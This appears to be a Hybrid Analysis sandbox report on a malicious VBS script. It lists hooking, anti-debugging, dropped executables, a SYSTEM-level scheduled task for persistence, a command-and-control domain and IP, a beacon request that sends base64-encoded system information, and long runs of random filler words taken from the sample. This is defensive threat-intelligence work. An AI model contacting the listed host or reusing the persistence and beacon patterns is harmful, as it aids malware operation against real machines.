  "rvwgq.exe" wrote bytes "c04e157720541677e0651677b53817770000000000d0387600000000c5ea38760000000088ea387600000000e968057582281777ee29177700000000d2690575000000007dbb38760000000009be057500000000ba18387600000000" to virtual address "0x77271000" (part of module "NSI.DLL")
  
  source
  
  Hook Detection
  
  relevance
  
  10/10
  
  ATT&CK ID
  
  T1179 (Show technique in the MITRE ATT&CK™ matrix)
- Reads information about supported languages
  
  details
  
  "Figure3D.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409")
  "rvwgq.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409")
  
  source
  
  Registry Access
  
  relevance
  
  3/10
  
  ATT&CK ID
  
  T1012 (Show technique in the MITRE ATT&CK™ matrix)
Hiding 3 Suspicious Indicators
- All indicators are available only in the private webservice or standalone version

Anti-Reverse Engineering
- Contains ability to register a top-level exception handler (often used as anti-debugging trick)
  
  details
  
  SetUnhandledExceptionFilter@KERNEL32.dll (Show Stream)
  
  source
  
  Hybrid Analysis Technology
  
  relevance
  
  1/10
- Creates guarded memory regions (anti-debugging trick to avoid memory dumping)
  
  details
  
  "wscript.exe" is allocating memory with PAGE_GUARD access rights
  
  source
  
  API Call
  
  relevance
  
  10/10
Environment Awareness
- Contains ability to query the machine version
  
  details
  
  GetVersionExA@KERNEL32.dll (Show Stream)
  
  source
  
  Hybrid Analysis Technology
  
  relevance
  
  1/10
- Queries volume information
  
  details
  
  "Figure3D.exe" queries volume information of "C:\" at 00040597-00002200-0000010C-249087514255
  "Figure3D.exe" queries volume information of "C:\" at 00040597-00002200-0000010C-249092710120
  
  source
  
  API Call
  
  relevance
  
  2/10
  
  ATT&CK ID
  
  T1120 (Show technique in the MITRE ATT&CK™ matrix)
- Queries volume information of an entire harddrive
  
  details
  
  "Figure3D.exe" queries volume information of "C:\" at 00040597-00002200-0000010C-249087514255
  "Figure3D.exe" queries volume information of "C:\" at 00040597-00002200-0000010C-249092710120
  
  source
  
  API Call
  
  relevance
  
  8/10
  
  ATT&CK ID
  
  T1120 (Show technique in the MITRE ATT&CK™ matrix)
External Systems
- Detected Suricata Alert
  
  details
  
  Detected alert "ET INFO EXE - Served Attached HTTP" (SID: 2014520, Rev: 6, Severity: 3) categorized as "Misc activity"
  
  source
  
  Suricata Alerts
  
  relevance
  
  10/10
General
- Contacts domains
  
  details
  
  "a.kitchencabinetryprofessionals.com"
  
  source
  
  Network Traffic
  
  relevance
  
  1/10
- Contacts server
  
  details
  
  "104.154.229.109:80"
  
  source
  
  Network Traffic
  
  relevance
  
  1/10
- Creates a writable file in a temporary directory
  
  details
  
  "wscript.exe" created file "%TEMP%\Figure3D.exe"
  "explorer.exe" created file "%TEMP%\~rvwgq.tmp"
  
  source
  
  API Call
  
  relevance
  
  1/10
- Creates mutants
  
  details
  
  "\Sessions\1\BaseNamedObjects\Local\InternetShortcutMutex"
  "Local\InternetShortcutMutex"
  "\Sessions\1\BaseNamedObjects\RasPbFile"
  "\Sessions\1\BaseNamedObjects\DBWinMutex"
  "\Sessions\1\BaseNamedObjects\lkabe"
  "\Sessions\1\BaseNamedObjects\Global\{D927E507-3140-4D90-846F-AE3E1E0CB5F1}"
  "lkabe"
  "Global\{D927E507-3140-4D90-846F-AE3E1E0CB5F1}"
  "RasPbFile"
  "DBWinMutex"
  
  source
  
  Created Mutant
  
  relevance
  
  3/10
- Loads the .NET runtime environment
  
  details
  
  "wscript.exe" loaded module "%WINDIR%\assembly\NativeImages_v2.0.50727_32\mscorlib\9f895c66454577eff9c77442d0c84f71\mscorlib.ni.dll" at 6B6B0000
  
  source
  
  Loaded Module
- Logged script engine calls
  
  details
  
  "wscript.exe" called "System.Text.UnicodeEncoding.CreateObject" ...
  "wscript.exe" called "Microsoft.XMLDOM.1.0.CreateObject" ...
  "wscript.exe" called "WScript.Shell.1.CreateObject" ...
  "wscript.exe" called "Msxml2.ServerXMLHTTP.6.0.CreateObject" ...
  "wscript.exe" called "ADODB.Stream.6.0.CreateObject" ...
  
  source
  
  API Call
  
  relevance
  
  10/10
- Overview of unique CLSIDs touched in registry
  
  details
  
  "schtasks.exe" touched "TaskScheduler class" (Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}")
  
  source
  
  Registry Access
  
  relevance
  
  3/10
- Spawns new processes
  
  details
  
  Spawned process "Figure3D.exe" (Show Process)
  Spawned process "Figure3D.exe" with commandline "/C" (Show Process)
  Spawned process "rvwgq.exe" (Show Process)
  Spawned process "schtasks.exe" with commandline "/Create /RU "NT AUTHORITY\SYSTEM" /tn piczmuu /tr "\"%TEMP%\Figu ..." (Show Process)
  Spawned process "rvwgq.exe" with commandline "/C" (Show Process)
  Spawned process "explorer.exe" (Show Process)
  
  source
  
  Monitored Target
  
  relevance
  
  3/10
- Spawns new processes that are not known child processes
  
  details
  
  Spawned process "Figure3D.exe" (Show Process)
  Spawned process "Figure3D.exe" with commandline "/C" (Show Process)
  Spawned process "rvwgq.exe" (Show Process)
  Spawned process "schtasks.exe" with commandline "/Create /RU "NT AUTHORITY\SYSTEM" /tn piczmuu /tr "\"%TEMP%\Figu ..." (Show Process)
  Spawned process "rvwgq.exe" with commandline "/C" (Show Process)
  Spawned process "explorer.exe" (Show Process)
  
  source
  
  Monitored Target
  
  relevance
  
  3/10
Installation/Persistance
- Connects to LPC ports
  
  details
  
  "schtasks.exe" connecting to "\ThemeApiPort"
  
  source
  
  API Call
  
  relevance
  
  1/10
- Dropped files
  
  details
  
  "rvwgq.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"
  "Figure3D.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"
  "rvwgq.dat" has type "data"
  
  source
  
  Extracted File
  
  relevance
  
  3/10
- Opens the MountPointManager (often used to detect additional infection locations)
  
  details
  
  "wscript.exe" opened "\Device\MountPointManager"
  
  source
  
  API Call
  
  relevance
  
  5/10
- Touches files in the Windows directory
  
  details
  
  "wscript.exe" touched file "%WINDIR%\System32\en-US\wscript.exe.mui"
  "wscript.exe" touched file "C:\Windows\System32\wscript.exe"
  "wscript.exe" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls"
  "wscript.exe" touched file "C:\Windows\System32\rsaenh.dll"
  "wscript.exe" touched file "C:\Windows\System32\stdole2.tlb"
  "wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll"
  "wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll"
  "wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll"
  "wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll"
  "wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll"
  "wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll"
  "wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll"
  "wscript.exe" touched file "C:\Windows\System32\WScript.exe.config"
  "wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine.config"
  "wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\security.config"
  "wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\security.config.cch"
  
  source
  
  API Call
  
  relevance
  
  7/10
Network Related
- Found potential URL in binary/memory
  
  details
  
  Heuristic match: "a.kitchencabinetryprofessionals.com"
  Heuristic match: "GET /background.png?uid=TQBpAGMAcgBvAHMAbwBmAHQAIABXAGkAbgBkAG8AdwBzACAANwAgAFAAcgBvAGYAZQBzAHMAaQBvAG4AYQBsACAA HTTP/1.1
  Connection: Keep-Alive
  Accept: */*
  Accept-Language: en-us
  User-Agent: TensorFlow
  Host: a.kitchencabinetryprofessionals.com"
  
  source
  
  String
  
  relevance
  
  10/10
- HTTP request contains Base64 encoded artifacts
  
  details
  
  "Microsoft Windows 7 Professional "
  
  source
  
  Network Traffic
  
  relevance
  
  7/10
  
  ATT&CK ID
  
  T1132 (Show technique in the MITRE ATT&CK™ matrix)
Spyware/Information Retrieval
- Found a reference to a known community page
  
  details
  
  "revis keratectacia plumelet McCreery ovariotomies expire sayst spooled twitteringly tokenism blacklister Babylonian weight-lifting ironmongery Carson periosteoalveolar vegetationless Homoousion re-return puerilism Auberry ground-squirrel unfricative chumped splakes dihydrotachysterol jikungu assaulted unjocund immunize hurl argufies unnegligent nonbranded fermentations radiocopper synnemata wire-cloth cycloidian scraichs Swigart tapit Angleinlet Cherrytree organising widdendream fly-swarmed Balkin Gueret uncatholicizing equinal buskers ecraseur mistaker oceanaut ripsnorter arbutus witchgrass Spartacide corrigendum dronage Philo-german objectors Trans-saturnian ameloblast vainer cerithioid wild-acting Apiezon Froebelism Martini photoscopic radioing Beare Armstrong high-brow duodecimal state-mending Idumean somatoplasm strong-mindedness Colpoda chloroleucite pillwort pittacal oria whizz dredgings banstickle factitiousness ionizable pegmen Coelenterata principate Sino-belgian blade celebrationis unachievability" (Indicator: "twitter")
  "erjea semibejan rose-bright squarroso-laciniate spicy pseudoinspirational precolluded Englishly kosong overfaintness symbiotes tallow-face Azores swanpan precuneal lens-mount plafonds glyptological box-edged hypsidolichocephalic capsular scarecrows Sideroxylon deep-blue Toaalta tatars thrower DCE bldg self-gaging Heraclius acheilary Alexei stramineous gradable judgmatic pabulum Murdock Finny intellectualistic irreverence atwitter extracerebral micrology synchro straighthead quaestorial immunoglobulin nonimpulsive Jebusi vafrous invidiously oxacillin sororicidal cervicovesical tacketed dyscratic vucom epana- Grider Cissiee unreadiness NHG mortuarian celloid kiln-drying theogeological modularization Boltonia overedit overexpend scurdy imitatee intercommune periodontium Burnett C.I. misgraft turriform gentle-spokenness Cercocebus nippiness forfeitures trommel countervote assausive defossion BMO Frankewing glottochronology thing-word siwashed gemellione extroversion cabinetworks dorlot fillo sport-making leucophy" (Indicator: "twitter")
  "r hjNSul
  'nitchies Terceira dribber Bauhinia Venizelist advertisee uneliminated spondylodiagnosis leviratical wideness Theobroma simonized telexed gavel Maltz auxoamylase winceyette banderoled ultraheroic aithochroi scrutinization Fiume chamberlainship furlane upknit Kaffia novemdecillionth pterido- roey noonwards twittery learnable dithers loiteringly prehandicapping resupervise diguanide chasseing substantiation revolutionarys thistlish archduchess inenarrability fragrance subpagoda pantas Cecomorphae colewort unheavenly Triplaris klezmer hepatorrhoea apyonin vomitable asteam swallow-fork axillar Shaer elains abr. Rockne ultraservile unconcordant potichomania well-dusted self-obsessed latirostral brachs all-assistless skip-bombing pluminess proauction Straub tympana Neela swingaround strigovite wry-armed batfowler TDY gradable obtruncator bifolia Licking dyspnea savory-leaved budgerigars limnetic soft-shell basipetally apexes chickwit force-closed unangularness tallyhod half-acquiescent vindicatorily reshin" (Indicator: "twitter")
  "yemark shoving ovogenesis labioglossal masochism uneminently oogamy nonflexibly pseudoassertive kedge-anchor unfibred king-hit overempired rhumbaing overornament tolerable spin-dryer technochemical Cressy equivorous subvarietal Penchi boundless pratfall doctrinary crustedly generable scuta malaxed monogrammic fungological pentalpha interspersion bifid relaters Alcus elongato-ovate benzotoluide adaptitude incusing Philips frouzier Payaguan coadmires deuterotoky uncomprehend interactively overbrowse trichology practicant oropharynges encampments koruny haloing gonfalcon oecophobia outwitter punctographic disoccupy Foosland vrow extracranial vapidly bywords duplexers straighten portionize donnick BIM uncope PPC Morrie sowarry leadoffs Schaerbeek Remonstrant preassume Millport kyoodled osteectopia diatonous unlikeable handcrafted anticommercial imbalance merge overargumentative peritrema antigun well-willed enthusiasticalness niaiserie palolo coccygalgia saltatoric reassures sure-seeing subintroductive Braynard d" (Indicator: "twitter")
  "pticon barrelfish Buddy degenerated remingle windsurf interrelationship Dunc gelatinousness Philippi Shahansha overheap Rysler causticiser Acanthodidae Stictidaceae overpurchasing intorting etwas Frisch depark subjectivization Carnac alchemistical apothegmatical aubaine chiliasms rotunda antisemitic nonsympathetically third-class deliciouses intermessenger Klarika balloonful bummed gingersnap Petalia precaution sublinguae madronos snubbable loger Greenlee nationalizations calculifrage paramountship macroglossate chieftains anisokonia verdin violatory purchaseable myocarditis twitterer engluts Martin unsanitariness syphiloderm jhow epispore uncircuitousness assentation handbreed upstaged Procyonidae rewax proconsultation coadjutant axilemma forty-third greenwoods dossmen stoplessness ruralizing satron pladaroma demaree straw-necked IVP Gorgophone cestos Tiemroth Burleigh vivacious angiosymphysis Solvang nonregimented cosmogenetic rall MTO tetraiodid sulphates Lina cylinderlike Venda Picumnus inbread nonspecial" (Indicator: "twitter")
  "l radiciform conidium atrioporal nightcrawler Townsend bookseller noncontributing Gomarist stop yttric Stokesia Curwensville Chondroganoidei Hebner cheloids defiled Ambrosius uncollegiate RPI rose-chafer statement toxified Futabatei twitterly igniter afterpiece marigenous criminals disfriar frustraneous barley-clipping Gorbals Floy declaimers mythologema archwife endosporously topocentric balneologic small-habited unlanded overmystifying Idiosepiidae iridescence preparationist untrailed positronium boronatrocalcite Heislerville postvocalically apotheoses double-line Alane Ficaria defleaed conisance outpolled polymyodous deincrustant look-alike biologically expulsion Castleford all-pervasiveness stomatodaeum theomachist omphalorrhexis fardel-bound leak pastile cholinic voluble Soluk jefferisite Puseyism Fieldon purser Adrea Ontine Aggappe self-attachment postventral lymphogranuloma Macusi Himinbjorg mossed wondercraft Lif Barocchio windstorm zeal-blind counteracts Eldwen furmities saccharobiose ten-a-penny spe" (Indicator: "twitter")
  "its monactinal fronto- wrongously glamourous splining nonverbal subdomains moistureless underhabit precisioner knived welters clanking Ekstrom quiritary outwarred salwin bilocular transrhenane detersive Cobleskill kinic italians zoehemerae tetrazin tidiose outwitter gaieties wherethrough complement-fixing establismentarian Gardas roughs abraser vineries unembraced toboggans tetaniform thudding convexly Sifatite transaudient close-fertilize goniums self-priming clingier wraxle Chrysis lineaged Epiphyllum re-serve Qaddish Bechuana erringly telenergic Belter nainsel rewade Bunting mezquites spurrings linkable dopiest Hespere self-instruction rotaliform uncurbs eyesome unwelcomely louies latrias involver Anasazis chin-wag Desdamonna self-propelling shotgun extol transducing commensuration Edyth polyandries alkaloid reactivates KV dotation Dorisa coyotillos Amazonia bailiff semicordate arthrodic intercitizenship vulcaniser paragenesia Jusserand turbidities unfix brislings ambeers antisexual dollardee methodizes st" (Indicator: "twitter")
  "ss trainless wedge-formed vesania exsufflicate sclerodema drolushness Kanred long-continued taborine prosodies reemigrated overvoltage putoffs unpleased twitters Monoceros forceps-shaped autocades ciliferous cabbageheadedness effluence pseudoelectoral machila wildwind phospholipide blaw preseparating primulaverin stimies fetters xanthates smithery yelp flumerin cabasa savarin Hasa untranscribable incorporeally unpertinently endomorphy exhumer preventuring arthropterous zooblast Singhal malapropism Kremmling Un-ovidian housemate tyned interderivative kolo pneophore Hooghly muscular bumperette satisfiable ICL Gilley capelins miaow Cuyler asynchronously microevolution anticontagion fine-toothcomb semidaily Sufu Goethian gulas recleansed lead-clad telomitic missense hyperuresis describers contravindication bushiest unspicy accouter ungirded recruitable Odsbodkins unrustically cuttoo semiconservatively oreman inauthoritativeness dekagramme field-strip inion knackwursts do-all superbravely bioavailability jinns mas" (Indicator: "twitter")
  "eaded obstruent Rundbogenstil flebotomy upcrop siegecraft Zoanthus cradler nearsightedness zeroing Karnataka LBL Clypeastrina tridimensionality poplar-leaved gowkedly homoeomorphism photophile brewises lace pretaster horseshoes porkiness cabstand wide-expanded pseudohexagonally sofa tap-tap-tap fast-growing hominid wealdish discontentments ready-worded frustrater Celin poltinnik tyrannizers rabble-rouse sackbag preesophageal maulers unsuggestible segregant microplankton jib-headed traumatopnea Nantyglo megaphones outbark submissive comethers penaeaceous nondeciduate pastose surrogation pentagamist twitteringly wroken metarsenite spaddle cyclosis mislikes plethoras liveryman berglet cumquat Firmicus all-comprehending Yursa unlimberness amarillos Darwinism restrictionary glens well-stored cure unlabouring Mizoram irresistless Thelodus quick-flowing pitfalls seleniuret profeminists gonozooid palikars violently creeshy anencephalous nonciliated NUGMW ketting excogitative decently Marleene chloromelanite tiptilt w" (Indicator: "twitter")
  "e alethic pimienta Argus yawps baikalite unshown neomycin preaccepted Slavonianize adjustors superfolly paleichthyologist Szekely bribe tellurist fat-bellied Doge acetabuliform dirempt Mankato unpillaged osteometric self-faced canker-bit birne microgamy underhangman tune-up chiropodous ruffianage lysed Kobylak oology twitters exhortative superiors satellite noncommunicable tjandi unhushing piacevole raglin Kleber quasi-apologetic betes brokenness coalmonger pachycephalous nito firn antistreptococcin gonopodium Fordsville Hardtner muddler snowshoeing rhodanate disinfecting hyperesthete lambdoidal togata beballed retrorocket flinkite chatterer Zeitgeist inordinately irreversible tocodynamometer abacuses phono hypoptilum Espriella Charlotta Plethodontidae podostemonaceous decapitatation intima unpromiscuous latemost Veneaux half-evergreen cloudberries Heim hermits chedlock Johnsson Post-galilean Aylesbury pleasurableness prevoid prostomiate scheffel moonlighter orthological foreignly electropathy solarometer arr" (Indicator: "twitter")
  "sses imposturous disunify cincher socializations Matusow unitistic blackbody logian astomatal friezes remnants tokenize GIN thumb noso- young-ladylike biotechnics ism respecification bankera Algores Eunomus salicylidene epitrochoid befingers grudges stomached qats profulgent monkishnesses bantamize girasol Knossian melanosarcomatosis Wasatch Richardia narrow-gage thorny-edged suburethral Karyl remanding solitons Amalfitan arils Hiko Sprung pseudopodia mislearn pokily ipecac squirreline authoritys white-tongued barky cellarer mirth-provoking epheboi uncamp Kyle Athenaea cowbrute sleetiest unirascible trichotomic beatinest dumpishly deep-flewed overelegancy drumlier Euler-Chelpin oralogy unavailful nondieting sibilatingly Moldo-wallachian intercurrence tradeless acceptingly slackerism roturiers brevi- pathophorous untrusser atwitter muckweed dislocatedness Potamochoerus spaeings skulled phylacteric simulcasts padtree lithotyping Coccygomorphae succories triskele flashing spooneyism electrokinetics dobber-in non" (Indicator: "twitter")
  "Hyperotreta insinuator glamorized zophophori papermaker Fregger instantiating elegist natations gadgetries groucho platanes unhorsing inthrones Sixtine heptanoic bedman twitterer unraffled clockhouse humbo decommissioned Nicolson remeasurement scansions Grenoble urtite Azarria bibliographize suffocative sulphoricinic volutate Marolda squirmy franciscans vaginovesical stertorously grouseberry arariba gotraja desm- yarn-spinning Northwest controversionalism undoubling prothallia lake-moated hydrophytic Lisbon schistoscope squat-built Duns Lawndale Rhacomitrium Arya possibile ratton monopylean ploddingness mistradition demounts Harlemite unaccorded overplan nonrefractiveness dancers sewen facinorousness
  'yardsman superoctave Pro-english exaggerations Confederate spitballs narratory oriform plague-haunted Akbar kvutza regnal cruel-hearted skelet foreshape Mannlicher destined semigirder rogueling recreants Mathura misresemblance kepping prevelar gleamers skaldic unexhaled gesithcundman garnet-red necrotise guilti" (Indicator: "twitter")
  "Sigourney stylographic gramas mordu tanglefish scolloped ophthalmocele Nazler unvoidable comatose Cryptomonadales COMINCH acatholic Phaet emeroid equiradiate unciform supersesquitertial Andira emissarium FOIRL tasklike recarnify dadburned sail-borne consumptives uncreeping Ruskin euphory bout niched uncondemningly Saree Harmonie penologist thighed Gentianaceae unconjecturable autodrome brushmaking monogamousness half-enforced overcomplicates bayeta klendusive mezzo-relievo palaeichthyan Roseau misproportioned teched undotted merlins biopsychic sanitation spongian katabolite beginners osperm dowment preyouthful throngingly unflounced bindery gv soundscape decease retroconsciousness toed perpetuities presentially cinnoline commis unpaltry faquir Eulau bronchioli Elsene Chthonius raisiny judicium idioelectric rostellar expatiator unhealthsomeness Bett Rudich unmagic outwitter illogics caprioled quadruplicity hebetate unconfronted Exline terror-lessening Cainish Trans-Jordan centipedal chiasms cooperations soudg" (Indicator: "twitter")
  "e unprescribed outgroups correption frigging outbbred orthosymmetry computable capibara suboval dismiss haemoglobinous life-giver pre-Carolingian rest-refreshed dextrally Marra Arnoldson fatstock hohn forbearantly seaborderer boucles well-harnessed occlusocervical curvometer chalcolite relais outlaws incompact sculptography evergreens gerundively loessland humanness pinpricks Pender unharmoniousness freeze-dried trijet blippers Ctesiphon hendecatoic supranaturalism vaselike unstanzaic torolillo charlady public-voiced bradyauxetically zoophytoid edibile forgiving sniffingly Hayyim teacherlike detn unmurmurously restfully lankiness reinject reconcentrates exultant abetters adret insurrectionists pueblito Czarra unversedness Stanley gynecia sevens disbuds nonreconcilability rateableness pyche worthier sphinxianness exoenzyme unden reimbursements twittering azimuths adapid carbureter sheathers toadpipes quasi-regular whare Hervati poppycock semicabalistically launders udo iodophors Uskudar tetrapodous caulomer Ha" (Indicator: "twitter")
  "nti-american reductant bilsh calculi mobship Ustilago cottonwoods
  'rebukeable persuasible misappropriations self-observation labordom plutomania nicknamer azulite Apinage hitchily self-forgetting meter-reading Barram lexicographies unexcluded melanosity weak-willed highfaluting chaetopod misrates hernio- Slavi gyppers heterodyned twitters turfman calkage thirst-inducing epinicial correspondentially unincarnated homicidious zestier fluorouracil Nerte antiguggler arised basebred antithetics merisis seated nonrepealing Anseres betonies decadently rook synagogs trumpeters feuillet deconcentrator heriotable all-covering contorta ice-skate dugal retread callisection pyro- lentando preselling unexpectability salpingomalleus roentgenologists Hett Concho nonclastic mistrustful Exocoetus nobber Baelbeer moyite esoenteritis mouchrabieh burly-headed sunken hubbubs kionotomy overfondled glassiness Stesha subdivided astrogator pernel waistcloths floaty nonmelting fulgent wild-flying Bebung cathine bed-davenport nonfamous" (Indicator: "twitter")
  "phase Naylor fluellen wyches CPO contrarotation field-day incremating pursily well-compassed subelectron servo- isodiazotate displeasingness Stretch amyotrophia twitterer Lollard phryganeid Belorussian Syngnatha accountantship coopered wacago ustilagineous verticilliaceous Kentishmen bedscrew inequally unbartering pilus reroll Santoro safekeepings coccidia imagilet divisional strongman impellor Uhrichsville purported kipage nonspecializing Prissy neurographic argyranthous Dawmont zoning crotalism gallberry roller-milled geotropic blueprints badinaged Wagnerist lassiehood herquein womanizers ungaudily atmosteon Archegosaurus revisit distinguishedly ladyfern gauby danios antigonorrheal cloud-seeding WAFS apogean ungreedy thirty-hour bidactyle steam-cleaned fourcher transversary adiaphory rehearse fun-seeking Epiphania pharyngopneustal scholium torvid salvias secundiparous dirigent restorations imaginal knifing boistousness eremites vitiligos Pisarik quadrifid LBS womanfully anthracometer noncleistogamic snowy-c" (Indicator: "twitter")
  
  source
  
  String
  
  relevance
  
  7/10
System Security
- Opens the Kernel Security Device Driver (KsecDD) of Windows
  
  details
  
  "schtasks.exe" opened "\Device\KsecDD"
  
  source
  
  API Call
  
  relevance
  
  10/10
  
  ATT&CK ID
  
  T1215 (Show technique in the MITRE ATT&CK™ matrix)

File Details

All Details:

JVC_70792.vbs

Filename: JVC_70792.vbs
Size: 5.3MiB (5579482 bytes)
Type: script vbs
Description: ASCII text, with very long lines
Architecture
: WINDOWS
SHA256
: 0cfebab2717c17e25547f7d167aeb0baec5a782607104e884718fe1ccf85ef88

Screenshots

Loading content, please wait...

Hybrid Analysis

Tip: Click an analysed process below to view more details.

Analysed 7 processes in total (System Resource Monitor).

Network Analysis

DNS Requests

HTTP Traffic

Suricata Alerts

ET rules applied using Suricata. Find out more about proofpoint ET Intelligence here.

Extracted Files

Notifications

Not all Falcon MalQuery lookups completed in time
Not all sources for indicator ID "api-55" are available in the report
Not all sources for indicator ID "mutant-0" are available in the report
Not all sources for indicator ID "string-24" are available in the report
Not all sources for indicator ID "string-5" are available in the report
Not all strings are visible in the report, because the maximum number of strings was reached (5000)

ginnthatinat.blogspot.com

Source: https://hybrid-analysis.com/sample/0cfebab2717c17e25547f7d167aeb0baec5a782607104e884718fe1ccf85ef88/5e504536834d3035cd6161fe